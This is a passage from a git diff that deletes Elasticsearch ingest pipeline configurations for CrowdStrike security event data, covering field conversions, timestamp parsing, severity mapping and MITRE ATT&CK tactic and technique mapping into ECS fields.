convert_crowdstrike_ContentPatterns_MatchCount_to_long_1860a094 - field: crowdstrike.ContentPatterns.MatchCount - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_ContentPatterns_MatchCount_e5886467 - field: - - crowdstrike.ContentPatterns.MatchCount - - append: - tag: append_error_message_c13d0524 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_FilesEgressedCount_to_long_0a2680d8 - field: crowdstrike.FilesEgressedCount - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_FilesEgressedCount_0df285cb - field: - - crowdstrike.FilesEgressedCount - - append: - tag: append_error_message_bc729538 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_UserNotified_to_boolean_fff533bd - field: crowdstrike.UserNotified - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_UserNotified_4d8a9089 - field: - - crowdstrike.UserNotified - - append: - tag: append_error_message_f94b1b53 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_UserMapped_to_boolean_bccf576a - field: crowdstrike.UserMapped - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_UserMapped_2143e1d5 - field: - - crowdstrike.UserMapped - - append: - tag: append_error_message_da37c64a - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_IsClipboard_to_boolean_5ba67e86 - field: crowdstrike.IsClipboard - type: boolean - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_IsClipboard_5d478e5b - field: - - crowdstrike.IsClipboard - - append: - tag: append_error_message_0e71edc6 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # timestamps - - date: - tag: date_crowdstrike_EventTimestamp_into_crowdstrike_EventTimestamp_d5f05563 - if: ctx.crowdstrike?.EventTimestamp != null - field: crowdstrike.EventTimestamp - target_field: crowdstrike.EventTimestamp - formats: - - UNIX - timezone: UTC - on_failure: - - append: - tag: append_error_message_9bb40391 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - # Anomaly-based detections contains SessionStartTimestamp and SessionEndTimestamp fields - - date: - tag: date_crowdstrike_SessionStartTimestamp_into_event_start_f37db09c - if: ctx.crowdstrike?.SessionStartTimestamp != null - field: crowdstrike.SessionStartTimestamp - target_field: event.start - formats: - - UNIX - timezone: UTC - on_failure: - - append: - tag: append_error_message_dabedfbc - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - tag: date_crowdstrike_SessionEndTimestamp_into_event_end_98eb023b - if: ctx.crowdstrike?.SessionEndTimestamp != null - field: crowdstrike.SessionEndTimestamp - target_field: event.end - formats: - - UNIX - timezone: UTC - on_failure: - - append: - tag: append_error_message_525bb579 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - description: Determine event.duration from event start and end date. - tag: script_to_set_event_duration_90e6c5bc - if: ctx.event?.start != null && ctx.event.end != null - source: |- - Instant event_start = ZonedDateTime.parse(ctx.event.start).toInstant(); - Instant event_end = ZonedDateTime.parse(ctx.event.end).toInstant(); - ctx.event['duration'] = ChronoUnit.NANOS.between(event_start, event_end); - on_failure: - - append: - tag: append_error_message_96ed185c - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # ECS mappings - - set: - tag: set_threat_framework_f92aa71d - field: threat.framework - value: MITRE ATT&CK - - set: - tag: set_event_outcome_success_99af7416 - if: ctx.crowdstrike?.ResponseAction == 'allowed' - field: event.outcome - value: success - - set: - tag: set_event_outcome_failure_f46199b1 - if: ctx.crowdstrike?.ResponseAction == 'blocked' - field: event.outcome - value: failure - - set: - tag: set_event_outcome_unknown_2820f2e9 - field: event.outcome - value: unknown - override: false - - set: - tag: set_message_from_crowdstrike_Description_705948c3 - field: message - copy_from: crowdstrike.Description - ignore_empty_value: true - - set: - tag: set_event_action_from_crowdstrike_Name_bed0a20b - field: event.action - copy_from: crowdstrike.Name - ignore_empty_value: true - - set: - tag: set_event_reference_from_crowdstrike_FalconHostLink_6d3f2710 - field: event.reference - copy_from: crowdstrike.FalconHostLink - ignore_empty_value: true - - set: - tag: set_file_hash_sha256_from_crowdstrike_ContentSha_d4ead6d6 - field: file.hash.sha256 - copy_from: crowdstrike.ContentSha - ignore_empty_value: true - - set: - tag: set_file_name_from_crowdstrike_Filename_119db8a6 - field: file.name - copy_from: crowdstrike.Filename - ignore_empty_value: true - - set: - tag: set_file_size_from_crowdstrike_DataVolume_0c0ee92d - field: file.size - copy_from: crowdstrike.DataVolume - ignore_empty_value: true - - set: - tag: set_host_name_from_crowdstrike_Hostname_eae1ab7e - field: host.name - copy_from: crowdstrike.Hostname - ignore_empty_value: true - - set: - tag: set_rule_id_from_crowdstrike_Policy_ID_e4a06110 - field: rule.id - copy_from: crowdstrike.Policy.ID - ignore_empty_value: true - - set: - tag: set_rule_name_from_crowdstrike_Policy_Name_db8e5eec - field: rule.name - copy_from: crowdstrike.Policy.Name - ignore_empty_value: true - - set: - tag: set_user_id_from_crowdstrike_UserSid_ff207491 - field: user.id - copy_from: crowdstrike.UserSid - ignore_empty_value: true - - set: - tag: set_user_name_from_crowdstrike_UserName_0d5ff858 - field: user.name - copy_from: crowdstrike.UserName - ignore_empty_value: true - - append: - tag: append_file_hash_sha256_to_related_hash_7574f0ee - if: ctx.file?.hash?.sha256 != null - field: related.hash - value: '{{{file.hash.sha256}}}' - - script: - tag: extract_file_extension_from_filename_adc57e41 - if: ctx.crowdstrike?.Filename != null - source: |- - def idx = ctx.crowdstrike.Filename.lastIndexOf('.'); - if (idx != -1) { - ctx.file = ctx.file ?: [:]; - ctx.file.extension = ctx.crowdstrike.Filename.substring(idx + 1).toLowerCase(); - } - on_failure: - - append: - tag: append_error_message_1a00ddc7 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - lowercase: - tag: lowercase_crowdstrike_Platform_into_host_os_platform_0de817b0 - field: crowdstrike.Platform - target_field: host.os.platform - ignore_missing: true - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_Tactic_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_crowdstrike_MitreAttack_threat_tactic_name_into_Tactic_b021c3ec - field: threat.tactic.name - value: '{{{_ingest._value.Tactic}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_TacticID_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_crowdstrike_MitreAttack_threat_tactic_id_into_TacticID_4d499747 - field: threat.tactic.id - value: '{{{_ingest._value.TacticID}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_Technique_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_crowdstrike_MitreAttack_threat_technique_name_into_Technique_af6387ac - field: threat.technique.name - value: '{{{_ingest._value.Technique}}}' - allow_duplicates: false - - foreach: - tag: foreach_of_crowdstrike_MitreAttack_for_TechniqueID_268c02de - if: ctx.crowdstrike?.MitreAttack instanceof List - field: crowdstrike.MitreAttack - processor: - append: - tag: append_crowdstrike_MitreAttack_threat_technique_id_into_TechniqueID_70f7c093 - field: threat.technique.id - value: '{{{_ingest._value.TechniqueID}}}' - allow_duplicates: false - - # clean up - - remove: - tag: remove_custom_duplicate_fields_decaf9d0 - field: - - crowdstrike.ContentSha - - crowdstrike.DataVolume - - crowdstrike.Description - - crowdstrike.EgressEventId - - crowdstrike.FalconHostLink - - crowdstrike.Filename - - crowdstrike.Hostname - - crowdstrike.MitreAttack - - crowdstrike.Name - - crowdstrike.Platform - - crowdstrike.Policy - - crowdstrike.SessionStartTimestamp - - crowdstrike.SessionEndTimestamp - - crowdstrike.Tactic - - crowdstrike.TacticId - - crowdstrike.Technique - - crowdstrike.TechniqueId - - crowdstrike.UserSid - - crowdstrike.UserName - ignore_missing: true - - # error handling - - set: - tag: set_pipeline_error_into_event_kind_92954dfa - if: ctx.error?.message != null - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_tags_9fe66b2c - if: ctx.error?.message != null - field: tags - value: preserve_original_event - allow_duplicates: false -on_failure: - - append: - tag: append_error_message_d1950926 - field: error.message - value: Processor '{{{ _ingest.on_failure_processor_type }}}' {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' - - set: - tag: set_pipeline_error_into_event_kind_f51b77ad - field: event.kind - value: pipeline_error - - append: - tag: append_preserve_original_event_into_tags_d762b9c5 - field: tags - value: preserve_original_event - allow_duplicates: false diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml deleted file mode 100644 index ca19104e54..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/elasticsearch/ingest_pipeline/default.yml +++ /dev/null @@ -1,2857 +0,0 @@ ---- -description: Pipeline for processing CrowdStrike sample logs -processors: - # Message decoding. - - remove: - tag: remove_static_constant_keyword_fields_ad941c6d - field: - - ecs.version - - event.dataset - - event.module - - observer.type - - observer.vendor - ignore_missing: true - - remove: - description: Removes the fields added by Agentless as metadata, as they can collide with ECS fields. - tag: remove_agentless_metadata_44eed408 - if: ctx.organization instanceof String && ctx.division instanceof String && ctx.team instanceof String - field: - - organization - - division - - team - ignore_missing: true - - rename: - description: Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document. - tag: rename_message_to_event_original_c74b1d7e - if: ctx.event?.original == null - field: message - target_field: event.original - ignore_missing: true - - remove: - description: The `message` field is no longer required if the document has an `event.original` field. - tag: remove_message_84808ee4 - if: ctx.event?.original != null - field: - - message - ignore_missing: true - - json: - tag: json_event_original_into_crowdstrike_d88a8a87 - field: event.original - target_field: crowdstrike - on_failure: - - append: - tag: append_error_message_4ef54c75 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - remove: - tag: remove_metadata_host_aid_and_user_sid_a4bf7be9 - field: - - metadata.host.aid - - metadata.user.UserSid_readable - ignore_missing: true - - rename: - tag: rename_metadata_to_crowdstrike_info_4a121644 - field: metadata - target_field: crowdstrike.info - ignore_missing: true - on_failure: - - append: - tag: append_error_message_d5092d94 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_UTCTimestamp_to_long_into__temp_utc_timestamp_a18a1c5b - field: crowdstrike.UTCTimestamp - type: long - target_field: _temp.utc_timestamp - ignore_missing: true - ignore_failure: true - - date: - tag: date__temp_utc_timestamp_into_event_created_051b20f6 - if: ctx.event?.created == null && ctx._temp?.utc_timestamp instanceof long && ctx._temp.utc_timestamp < (long)1e10 - field: _temp.utc_timestamp - target_field: event.created - formats: - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike_UTCTimestamp_into_event_created_7df015fc - if: ctx.event?.created == null && ctx.crowdstrike?.UTCTimestamp != null && ctx.crowdstrike.UTCTimestamp != '' && ctx.crowdstrike.UTCTimestamp != 'none' - field: crowdstrike.UTCTimestamp - target_field: event.created - formats: - - UNIX_MS - - ISO8601 - ignore_failure: true - - date: - tag: date_crowdstrike_timestamp_into_event_created_b2c980e4 - if: ctx.event?.created == null && ctx.crowdstrike?.timestamp != null && ctx.crowdstrike.timestamp != '' && ctx.crowdstrike.timestamp != 'none' - field: crowdstrike.timestamp - target_field: event.created - formats: - - UNIX_MS - - ISO8601 - ignore_failure: true - - date: - tag: date_crowdstrike_CreationTimeStamp_into_event_created_bd5c0651 - if: ctx.event?.created == null && ctx.crowdstrike?.CreationTimeStamp != null && ctx.crowdstrike.CreationTimeStamp != '' && ctx.crowdstrike.CreationTimeStamp != 'none' - field: crowdstrike.CreationTimeStamp - target_field: event.created - formats: - - UNIX - - ISO8601 - ignore_failure: true - - date: - tag: date_crowdstrike_Time_into_event_created_7e1af297 - if: ctx.event?.created == null && ctx.crowdstrike?.Time != null && ctx.crowdstrike.Time != '' && ctx.crowdstrike.Time != 'none' - field: crowdstrike.Time - target_field: event.created - formats: - - ISO8601 - - UNIX - ignore_failure: true - - date: - tag: date_crowdstrike__time_into_event_created_e003a0c5 - if: ctx.event?.created == null && ctx.crowdstrike?._time != null && ctx.crowdstrike._time != '' && ctx.crowdstrike._time != 'none' - field: crowdstrike._time - target_field: event.created - formats: - - ISO8601 - - UNIX - ignore_failure: true - - set: - tag: set_@timestamp_40ae7ab1 - if: ctx.event?.created != null - field: '@timestamp' - copy_from: event.created - - set: - tag: set_@timestamp_6b114c93 - if: ctx["@timestamp"] == null - field: '@timestamp' - copy_from: _ingest.timestamp - - script: - description: Conditionally convert BatchTimestamp from Windows NT timestamp format to UNIX - tag: script_date_BatchTimestamp_from_nt_3442e38e - source: |- - if (ctx.crowdstrike?.BatchTimestamp == null) { - return; - } - long timestamp; - if (ctx.crowdstrike.BatchTimestamp instanceof long) { - timestamp = (long)ctx.crowdstrike.BatchTimestamp; - } else if (ctx.crowdstrike.BatchTimestamp instanceof String) { - if (!ctx.crowdstrike.BatchTimestamp.contains('.')) { - timestamp = Long.parseLong(ctx.crowdstrike.BatchTimestamp); - } - } - if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. - ctx.crowdstrike.BatchTimestamp = (timestamp / 10000000) - 11644473600L; - } - - date: - tag: date_crowdstrike_BatchTimestamp_into_crowdstrike_BatchTimestamp_9ff569ce - if: ctx.crowdstrike?.BatchTimestamp != null && ctx.crowdstrike.BatchTimestamp != '' && ctx.crowdstrike.BatchTimestamp != 'none' - field: crowdstrike.BatchTimestamp - target_field: crowdstrike.BatchTimestamp - formats: - - UNIX - - script: - description: Conditionally convert BrowserExtensionInstalledTimestamp from Windows NT timestamp format to UNIX - tag: script_date_BrowserExtensionInstalledTimestamp_from_nt_486c5b00 - source: |- - if (ctx.crowdstrike?.BrowserExtensionInstalledTimestamp == null) { - return; - } - long timestamp; - if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof long) { - timestamp = (long)ctx.crowdstrike.BrowserExtensionInstalledTimestamp; - } else if (ctx.crowdstrike.BrowserExtensionInstalledTimestamp instanceof String) { - if (!ctx.crowdstrike.BrowserExtensionInstalledTimestamp.contains('.')) { - timestamp = Long.parseLong(ctx.crowdstrike.BrowserExtensionInstalledTimestamp); - } - } - if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. - ctx.crowdstrike.BrowserExtensionInstalledTimestamp = (timestamp / 10000000) - 11644473600L; - } - - date: - tag: date_crowdstrike_BrowserExtensionInstalledTimestamp_into_crowdstrike_BrowserExtensionInstalledTimestamp_5afea043 - if: ctx.crowdstrike?.BrowserExtensionInstalledTimestamp != null && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != '' && ctx.crowdstrike.BrowserExtensionInstalledTimestamp != 'none' - field: crowdstrike.BrowserExtensionInstalledTimestamp - target_field: crowdstrike.BrowserExtensionInstalledTimestamp - formats: - - UNIX - - script: - description: Conditionally convert ContextTimeStamp from Windows NT timestamp format to UNIX - tag: script_date_ContextTimeStamp_from_nt_37e17ed8 - if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike?.ContextTimeStamp != "" - source: |- - if (ctx.crowdstrike?.ContextTimeStamp == null) { - return; - } - long timestamp; - if (ctx.crowdstrike.ContextTimeStamp instanceof long) { - timestamp = (long)ctx.crowdstrike.ContextTimeStamp; - } else if (ctx.crowdstrike.ContextTimeStamp instanceof String) { - if (!ctx.crowdstrike.ContextTimeStamp.contains('.')) { - timestamp = Long.parseLong(ctx.crowdstrike.ContextTimeStamp); - } - } - if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. - ctx.crowdstrike.ContextTimeStamp = (timestamp / 10000000) - 11644473600L; - } - - date: - tag: date_crowdstrike_ContextTimeStamp_into_crowdstrike_ContextTimeStamp_0af2b375 - if: ctx.crowdstrike?.ContextTimeStamp != null && ctx.crowdstrike.ContextTimeStamp != '' && ctx.crowdstrike.ContextTimeStamp != 'none' - field: crowdstrike.ContextTimeStamp - target_field: crowdstrike.ContextTimeStamp - formats: - - UNIX - - script: - description: Conditionally convert StartTime from Windows NT timestamp format to UNIX - tag: script_date_StartTime_from_nt_a5058c7c - source: |- - if (ctx.crowdstrike?.StartTime == null) { - return; - } - long timestamp; - if (ctx.crowdstrike.StartTime instanceof long) { - timestamp = (long)ctx.crowdstrike.StartTime; - } else if (ctx.crowdstrike.StartTime instanceof String) { - if (!ctx.crowdstrike.StartTime.contains('.')) { - timestamp = Long.parseLong(ctx.crowdstrike.StartTime); - } - } - if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. - ctx.crowdstrike.StartTime = (timestamp / 10000000) - 11644473600L; - } - - date: - tag: date_crowdstrike_StartTime_into_crowdstrike_StartTime_9501a78d - if: ctx.crowdstrike?.StartTime != null && ctx.crowdstrike.StartTime != '' && ctx.crowdstrike.StartTime != 'none' - field: crowdstrike.StartTime - target_field: crowdstrike.StartTime - formats: - - UNIX - - script: - description: Conditionally convert EndTime from Windows NT timestamp format to UNIX - tag: script_date_EndTime_from_nt_8fceb4ba - source: |- - if (ctx.crowdstrike?.EndTime == null) { - return; - } - long timestamp; - if (ctx.crowdstrike.EndTime instanceof long) { - timestamp = (long)ctx.crowdstrike.EndTime; - } else if (ctx.crowdstrike.EndTime instanceof String) { - if (!ctx.crowdstrike.EndTime.contains('.')) { - timestamp = Long.parseLong(ctx.crowdstrike.EndTime); - } - } - if (timestamp > 0x0100000000000000L) { // See https://devblogs.microsoft.com/oldnewthing/20030905-02/?p=42653 for constant. - ctx.crowdstrike.EndTime = (timestamp / 10000000) - 11644473600L; - } - - date: - tag: date_crowdstrike_EndTime_into_crowdstrike_EndTime_403904fe - if: ctx.crowdstrike?.EndTime != null && ctx.crowdstrike.EndTime != '' && ctx.crowdstrike.EndTime != 'none' - field: crowdstrike.EndTime - target_field: crowdstrike.EndTime - formats: - - UNIX - - date: - tag: date_crowdstrike_scores_modified_time_into_crowdstrike_scores_modified_time_1bb3843a - if: ctx.crowdstrike?.scores?.modified_time != null && ctx.crowdstrike.scores.modified_time != '' && ctx.crowdstrike.scores.modified_time != 'none' - field: crowdstrike.scores.modified_time - target_field: crowdstrike.scores.modified_time - formats: - - ISO8601 - - yyyy-MM-dd'T'HH:mm:ss.SSS'Z' - on_failure: - - remove: - tag: remove_crowdstrike_scores_modified_time_b26c8439 - field: - - crowdstrike.scores.modified_time - - append: - tag: append_error_message_f822bf1a - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - date: - tag: date_crowdstrike_ChangeTime_into_crowdstrike_ChangeTime_e3e3ffa4 - if: ctx.crowdstrike?.ChangeTime != null && ctx.crowdstrike.ChangeTime != '' - field: crowdstrike.ChangeTime - target_field: crowdstrike.ChangeTime - formats: - - UNIX - on_failure: - - remove: - tag: remove_crowdstrike_ChangeTime_0874f7f6 - field: - - crowdstrike.ChangeTime - - append: - tag: append_error_message_e3a24574 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - rename: - tag: rename_crowdstrike_message_to_message_8aaa4841 - field: crowdstrike.message - target_field: message - ignore_missing: true - - rename: - tag: rename_crowdstrike_event_type_to_crowdstrike_EventType_0f2370ba - if: ctx.crowdstrike?.EventType == null - field: crowdstrike.event_type - target_field: crowdstrike.EventType - ignore_missing: true - - rename: - tag: rename_crowdstrike_host_hidden_status_to_crowdstrike_HostHiddenStatus_7d1ffcb7 - if: ctx.crowdstrike?.HostHiddenStatus == null - field: crowdstrike.host_hidden_status - target_field: crowdstrike.HostHiddenStatus - ignore_missing: true - - convert: - tag: convert_crowdstrike_scores_os_to_long_680c0a21 - field: crowdstrike.scores.os - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_scores_os_73ce1ec6 - field: - - crowdstrike.scores.os - ignore_missing: true - - append: - tag: append_error_message_6d576da7 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_scores_overall_to_long_5858a4c8 - field: crowdstrike.scores.overall - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_scores_overall_a59f0dd4 - field: - - crowdstrike.scores.overall - ignore_missing: true - - append: - tag: append_error_message_b2d1d828 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - convert: - tag: convert_crowdstrike_scores_sensor_to_long_907f0ea9 - field: crowdstrike.scores.sensor - type: long - ignore_missing: true - on_failure: - - remove: - tag: remove_crowdstrike_scores_sensor_ef9c1c3a - field: - - crowdstrike.scores.sensor - ignore_missing: true - - append: - tag: append_error_message_68deb51f - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # Non-sensor Events - - pipeline: - tag: pipeline_data_protection_detection_summary_cd21f5a1 - if: ctx.crowdstrike?.ExternalApiType == 'Event_DataProtectionDetectionSummaryEvent' - name: '{{ IngestPipeline "data_protection_detection_summary" }}' - - pipeline: - tag: pipeline_epp_detection_summary_b611643c - if: ctx.crowdstrike?.ExternalApiType == 'Event_EppDetectionSummaryEvent' - name: '{{ IngestPipeline "epp_detection_summary" }}' - # File Integrity Monitor Rule Matched events - - pipeline: - tag: pipeline_fim_rule_matched_33f5a923 - if: ctx.crowdstrike?.ExternalApiType == 'Event_FileIntegrityMonitorRuleMatchedEnriched' || ctx.crowdstrike?.event_simpleName == 'FileIntegrityMonitorRuleMatched' - name: '{{ IngestPipeline "fim_rule_matched" }}' - - # Handle case changes. - - rename: - tag: rename_crowdstrike_GrandParentCommandLine_to_crowdstrike_GrandparentCommandLine_1958890d - field: crowdstrike.GrandParentCommandLine - target_field: crowdstrike.GrandparentCommandLine - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_GrandParentImageFileName_to_crowdstrike_GrandparentImageFileName_51e07871 - field: crowdstrike.GrandParentImageFileName - target_field: crowdstrike.GrandparentImageFileName - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_GrandParentImageFilePath_to_crowdstrike_GrandparentImageFilePath_7028d291 - field: crowdstrike.GrandParentImageFilePath - target_field: crowdstrike.GrandparentImageFilePath - ignore_missing: true - ignore_failure: true - - # Assign severities to conform to security rules values - # - # 21 = Low - # 47 = Medium - # 73 = High - # 99 = Critical - # - # Leave crowdstrike values in place, since they have their own semantics. - - convert: - tag: convert_crowdstrike_alert_severity_to_long_306bc9b0 - if: ctx.crowdstrike?.alert?.severity != null && !(ctx.crowdstrike.alert.severity instanceof long) - field: crowdstrike.alert.severity - type: long - on_failure: - - remove: - tag: remove_crowdstrike_alert_severity_cc99ae7c - field: - - crowdstrike.alert.severity - - append: - tag: append_error_message_4c7cf4a0 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - description: Script to set event.severity. - tag: script_set_crowdstrike_alert_severity_b187cbc2 - if: ctx.crowdstrike?.alert?.severity instanceof long && ctx.crowdstrike.alert.severityName == null - source: |- - long severity = ctx.crowdstrike.alert.severity; - if (0 <= severity && severity < 20) { - ctx.crowdstrike.alert.severityName = "info"; - } if (20 <= severity && severity < 40) { - ctx.crowdstrike.alert.severityName = "low"; - } if (40 <= severity && severity < 60) { - ctx.crowdstrike.alert.severityName = "medium"; - } if (60 <= severity && severity < 80) { - ctx.crowdstrike.alert.severityName = "high"; - } if (80 <= severity && severity <= 100) { - ctx.crowdstrike.alert.severityName = "critical"; - } - on_failure: - - append: - tag: append_error_message_06556072 - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - script: - tag: script_set_event_severity_c715a67f - if: ctx.crowdstrike?.SeverityName instanceof String - source: |- - ctx.event = ctx.event ?: [:]; - String name = ctx.crowdstrike.SeverityName; - if (name.equalsIgnoreCase("low") || name.equalsIgnoreCase("info") || name.equalsIgnoreCase("informational")) { - ctx.event.severity = 21; - } else if (name.equalsIgnoreCase("medium")) { - ctx.event.severity = 47; - } else if (name.equalsIgnoreCase("high")) { - ctx.event.severity = 73; - } else if (name.equalsIgnoreCase("critical")) { - ctx.event.severity = 99; - } - on_failure: - - append: - tag: append_error_message_6dd43c3d - field: error.message - value: 'Processor {{{_ingest.on_failure_processor_type}}} with tag {{{_ingest.on_failure_processor_tag}}} in pipeline {{{_ingest.on_failure_pipeline}}} failed with message: {{{_ingest.on_failure_message}}}' - - # EppDetectionSummaryEvent renames - - rename: - tag: rename_crowdstrike_Hostname_to_crowdstrike_ComputerName_91445a54 - field: crowdstrike.Hostname - target_field: crowdstrike.ComputerName - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_LogonDomain_to_crowdstrike_MachineDomain_b6659adb - field: crowdstrike.LogonDomain - target_field: crowdstrike.MachineDomain - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_AgentId_to_crowdstrike_SensorId_c933741c - field: crowdstrike.AgentId - target_field: crowdstrike.SensorId - ignore_missing: true - ignore_failure: true - - rename: - tag: rename_crowdstrike_Name_to_crowdstrike_DetectName_6008d35c - field: crowdstrike.Name - target_field: crowdstrike.DetectName - ignore_missing: true - ignore_failure: true - - # Handle additional added fields. - - date: - tag: date_crowdstrike_FirstDiscoveredDate_into_crowdstrike_FirstDiscoveredDate_612798da - if: ctx.crowdstrike?.FirstDiscoveredDate != null && ctx.crowdstrike.FirstDiscoveredDate != '' && ctx.crowdstrike.FirstDiscoveredDate != 'none' - field: crowdstrike.FirstDiscoveredDate - target_field: crowdstrike.FirstDiscoveredDate - formats: - - UNIX - - convert: - tag: convert_crowdstrike_CurrentLocalIP_to_ip_a98b1595 - if: ctx.crowdstrike?.CurrentLocalIP != null && ctx.crowdstrike?.CurrentLocalIP != '' - field: crowdstrike.CurrentLocalIP - type: ip - - convert: - tag: convert_crowdstrike_aipCount_to_integer_ad6bba60 - if: ctx.crowdstrike?.aipCount != null && ctx.crowdstrike?.aipCount != '' - field: crowdstrike.aipCount - type: integer - - convert: - tag: convert_crowdstrike_discovererCount_to_integer_16ff8e6a - if: ctx.crowdstrike?.discovererCount != null && ctx.crowdstrike?.discovererCount != '' - field: crowdstrike.discovererCount - type: integer - - convert: - tag: convert_crowdstrike_localipCount_to_integer_97885158 - if: ctx.crowdstrike?.localipCount != null && ctx.crowdstrike?.localipCount != '' - field: crowdstrike.localipCount - type: integer - - # AWS S3 input does _id-Based Deduplication and generates "_id" by default. - # When "Data Deduplication" is not enabled, this field must be removed. - # 